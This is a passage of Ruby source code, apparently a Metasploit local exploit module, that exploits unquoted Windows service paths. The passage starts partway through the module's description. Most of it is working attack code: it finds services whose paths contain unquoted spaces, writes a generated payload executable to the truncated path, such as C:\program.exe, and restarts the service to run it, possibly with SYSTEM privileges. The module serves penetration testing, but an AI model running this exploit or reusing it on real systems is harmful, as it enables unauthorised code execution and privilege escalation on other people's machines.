When the lpApplicationName contains a space, the file name is ambiguous. Take this file path as example: C:\program files\hello.exe; The Windows API will try to interpret this as two possible paths: C:\program.exe, and C:\program files\hello.exe, and then execute all of them. To some software developers, this is an unexpected behavior, which becomes a security problem if an attacker is able to place a malicious executable in one of these unexpected paths, sometimes escalate privileges if run as SYSTEM. Some software such as OpenVPN 2.1.1, OpenSSH Server 5, and others have the same problem. The offensive technique is also described in Writing Secure Code (2nd Edition), Chapter 23, in the section "Calling Processes Security" on page 676. }, 'References' => [ ['URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx'], ['URL', 'http://www.microsoft.com/learning/en/us/book.aspx?id=5957&locale=en-us'] #pg 676 ], 'DisclosureDate' => "Oct 25 2001", 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], 'Platform' => [ 'win'], 'Targets' => [ ['Windows', {}] ], 'SessionTypes' => [ "meterpreter" ], 'DefaultTarget' => 0, )) end def check if enum_vuln_services.empty? return Exploit::CheckCode::Safe else # Found service is running system return Exploit::CheckCode::Vulnerable end end def enum_vuln_services(quick=false) vuln_services = [] each_service do |service| info = service_info(service[:name]) # Sometimes there's a null byte at the end of the string, # and that can break the regex -- annoying. if info[:path] cmd = info[:path].strip # Check path: # - Filter out paths that begin with a quote # - Filter out paths that don't have a space next if cmd !~ /^[a-z]\:.+\.exe$/i next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true) vprint_status("Found vulnerable service: #{service[:name]} - #{cmd} (#{info[:startname]})") vuln_services << [service[:name], cmd] # This process can be pretty damn slow. # Allow the user to just find one, and get the hell out. break if not vuln_services.empty? and quick end end return vuln_services end def exploit # # Exploit the first service found # print_status("Finding a vulnerable service...") svrs = enum_vuln_services(true) fail_with(Failure::NotVulnerable, "No service found with trusted path issues") if svrs.empty? svr_name = svrs.first[0] fpath = svrs.first[1] exe_path = "#{fpath.split(' ')[0]}.exe" print_status("Placing #{exe_path} for #{svr_name}") # # Drop the malicious executable into the path # exe = generate_payload_exe_service({:servicename=>svr_name}) print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...") begin write_file(exe_path, exe) register_files_for_cleanup(exe_path) rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on fail_with(Failure::Unknown, e.message) end # # Run the service, let the Windows API do the rest # print_status("Launching service #{svr_name}...") service_restart(svr_name) end end
